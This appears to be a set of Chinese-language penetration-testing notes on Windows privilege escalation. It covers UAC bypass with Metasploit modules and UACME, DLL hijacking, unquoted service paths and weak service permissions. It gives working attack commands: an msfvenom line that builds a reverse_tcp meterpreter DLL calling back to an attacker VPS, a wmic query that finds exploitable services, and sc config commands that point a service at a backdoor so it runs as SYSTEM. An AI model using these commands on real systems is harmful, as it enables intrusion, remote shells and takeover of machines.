0x01 bypassUAC
开启了uac在执行exe和bat的时候会提示是否执行,会阻碍提权,所以提出了uac的bypass
msf内置模块
使用ask需要结合钓鱼使用,因为需要点‘是’,另外两个模块是全自动的,run生成新的会话之后直接使用getsystem
use exploit/windows/local/ask
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup
uacme项目
支持的版本
https://github.com/hfiref0x/UACME
常见的id 有23、32、41、61 成功率较大
可以用图形化的就可以直接执行看到41进行了弹窗
没有图形化的话就可以在在后面加上msf的后门,上线后就可以getsystem
小迪的本机使用61参数成功
0x02 dll劫持
dll是动态链接库,在linux上面表示为.so文件;
原理:
Windows
程序启动的时候需要
DLL
。如果这些
DLL
不存在,则可以通过在应用程
序要查找的位置放置恶意
DLL
来提权。通常,
Windows
应用程序有其预定义好的搜索
DLL
的路径,它会根据下面的顺序进行搜索:
1、应用加载的主目录
2、C:\Windows\system32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
步骤:信息收集程序-下载进程调试-制作dll文件上传-替换dll-启动应用即可上线
检测:chkdllhijack 火绒剑
项目:https://github.com/anhkgg/anhkgg-tools
成功:
失败:
利用火绒剑分析进程执行会加载的dll文件(也可以使用项目),最好选择使用当前目录下的dll文件,c:\system这种目录下的写入文件需要权限
生成dll后门文件,上传至服务器进行替换
msfvenom -p windows/meterpreter/reverse_tcp lhost=vps地址 lport=vps端口 -f dll -o xxx.dll
服务器运行程序执行替换的dll进行上线
0x03 不带引号的服务路径配置结合msf后门
在服务的启用中会调用exe文件,一般服务的路径都带有引号,不加引号的情况下就会产生这个提权问题,因为不加引号就不会把路径去当作一个整体去执行,这时如果路径中有空格,空格后面的部分就会被当时参数而不会递归到后面部分的exe中,这时只需要把msf后门命名成服务调用的exe文件名并上传到空格前的路径下即可,等程序自启动或者管理员启动时就会进行上线;
注意这里是需要本地用户权限的,webshell权限的话要能上传文件到服务启动的地方;
探测不带引号的服务的路径和服务名称并显示
也可以在poweshell中使用命令查找,在msf中使用shell建立交互式窗口
使用powershell建立powershell交互窗口
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
0x04 不安全的服务权限
服务的权限配置不当,导致可以使用本地用户权限去修改服务的路径和指向的文件名,那直接指向msf后门即可在启动服务的时候以system权限上线
下载accesschk 或者PowerUp(PowerSploit)去探针
使用命令 accesschk.exe -uwcqv "administrator" 查看权限信息,选择有all权限的
使用sc命令 sc config "test" binpath="C:\Program.exe" 绑定test服务的路径为C:\Program.exe文件
sc start test 启动test服务
服务名和路径根据实际情况更改